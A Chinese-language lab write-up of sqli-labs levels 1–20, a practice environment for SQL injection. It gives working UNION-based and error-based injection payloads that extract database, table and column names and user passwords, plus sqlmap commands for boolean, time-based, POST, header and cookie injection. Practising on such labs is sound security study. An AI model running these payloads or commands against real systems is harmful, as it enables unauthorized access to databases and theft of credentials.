• sqli-labs 1-20实验记录


    1. less1

    首先输入?id=1 查找是否有注入点.

     

    输入单引号 回显报错 说明有注入漏洞 而且是数字型

     

    输入 1’ or 1=1 order by 1 猜测列名#

    这里发现#不能变成url编码 查一下 应该是%23

    http://localhost/sqli-labs-master/Less-1/?id=1%27%20or%201=1%20order%20by%201%20#

     

    order by 4 的时候报错,说明select语句应该有三列.

    然后获取当前数据库:

    1’ or 1=1 union select 1,2,database() %23

    但是后来知道 这里无论怎样返回的都是第一列的结果,所以把id=1改成id=0再注入

     

    所以可以知道当前数据库的名称是 security

    然后获取当前数据库中的表:

    0' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database(),3 %27

     

    可以看到 表名有 emailsrefersuagentsusers 接下来就是获取users中的字段

    0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='users' %23

     

    表中的字段有 idusernamepassword

    之后获取我们感兴趣的字段的内容:

    http://localhost/sqli-labs-master/Less-1/?id=0'%20union%20select%201,2,group_concat(id,username,password)from%20users%20%23

     

    第一道题目完成.

    2. less2

    这道题是数字型注入:

     

    所以和第一道题类似,不需要加单引号就可以。

    获取当前数据库0 union select 1,2,database() %23

     

    然后获取表:

    0 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() %23

     

    然后获取字段:

    0 union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 'users' %23

     

    然后获取内容:

    0 union select 1,2,group_concat(password) from users %23

     

    第二道题完成。

    3. less3

     

    看回显报错 代码中 id 应该是 id =(‘$id’)

    0') union select 1,2,3 %23实验一下是不是这么构造:

     

    成功 所以接下来像前三关一样获取当前数据库,表,字段,内容就可以了.

     

     

     

     

    第三题完成

    4. less4

     

    发现输入单引号 没有报错 输入双引号:

     

    所以和上一个很像,应该用”)拼凑就可以了。

    试一下 还是 union select 1,2,3 %23

     

    成功了。

    之后还是老方法,获取数据库,表,字段,内容

     

     

     

     

    第四道题目完成.

    5. less5

     

    本关用前面的方法都无法注入回显,因为代码中不显示内容。所以需要利用基于错误的语句来注入。

     

    http://localhost/sqli/Less-5/?id=1'and(select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password)fromuserslimit0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

     

    这里需要不停的刷新 直到显示出来为止。

     

    6. less6

    和第五道题类似,但是需要把单引号改成双引号:

    http://localhost/sqli/Less-6/?id=1" and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

     

     

     

     

    7. less7

    首先构造能够注入的语句, 发现是 id=1’))类型。

     

    这里题目应该是导出文件:

    但是上网搜了之后 用输出文件的语句 发现不行 只好用sqlmap了。。。

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1

     

     

     

    之后获取当前数据库名称:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 --current-db

     

    之后获取表:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security --tables

     

     

    然后获取users中的字段:

    -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users --columns

     

     

    最后获取password内容:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users -C password --dump

     

     

    7关完成

    8. less8

    在这一题,数据库的错误不再回显到页面上,但是我们可以发现当我们构造异常查询时,页面上的you are in会消失,这就是典型的布尔盲注

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1

    可以看到 要比上一道题复杂的很多 也耗费时间了:

     

     

    之后获取当前的dbs

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 --current-db

     

    然后获取其中的表:

     sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security --tables

     

    然后获取users中的字段:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users --columns

     

    然后获取password中的内容:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users -C password --dump

     

    第八关完成.

    9,10关和第八关类似 都有时间注入 所以用sqlmap跑就可以 ,或者自写python脚本.

    11. less11

    本关开始有post注入了

    需要用到sqlmap中的一个 --form 的语句:

    可以获取页面 然后构造需要post的数据:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms --dbs

     

     

    然后获取当前数据库:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms ---current-db

     

    然后获取表名:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security --tables

     

    然后获取users的字段:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security -T users --columns

     

    最后获取password的内容:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms  -D security -T users -C password --dump

     

    12,13,14:less12 less13 less14

    这关和上关类似 直接sqlmap一路到底就可以。

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-12/ --forms -D security -T users -C password --dump

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-13/ --forms -D security -T users -C password --dump

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-14/ --forms -D security -T users -C password --dump

    15:less15

    这关 需要设置更高的 level:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-15/ --forms -D security -T users -C password --dump --level3

    更加复杂:

     

     

     

    16. less16

    第十六关 和第十五关类似:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-16/ --forms -D security -T users -C password --dump --level3

    17. less17

    17关尝试 用burp抓包,然后获取整个页面的信息后保存在/root/home/1.txt文件中

    然后

    sqlmap -r "1.txt" -p passwd --tech E --dbms mysql --batch -v 0

    18. Less18

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-18/ --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST batch

    19. less19

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-19/ --referer=" http://127.0.0.1/sqli-labs-master/Less-19/*" --level 4 --dbs --threads 10 --technique BEST batch

    20.

    cookie注入:

    sqlmap -u http://192.168.48.129/sqli-labs-master/Less-20/ --cookie="UM_distinctid=16668b878941c2-088ac16771352f-38694646-12c000-16668b878961048" --dbs

  • 相关阅读:
    centos PIL 安装
    apache virtualhost 针对ip开放访问
    基础练习 矩形面积交 (分类讨论)
    UVa 10163 Storage Keepers (二分 + DP)
    UVaLive 5009 Error Curves (三分)
    UVa 11542 Square (高斯消元)
    UVa 10828 Back to Kernighan-Ritchie (数学期望 + 高斯消元)
    基础练习 回形取数 (循环 + Java 输入输出外挂)
    UVaLive 3704 Cellular Automaton (循环矩阵 + 矩阵快速幂)
    勇敢的妞妞 (状压 + 搜索)
  • 原文地址:https://www.cnblogs.com/lixiaoyao123/p/9807736.html
Copyright © 2020-2023  润新知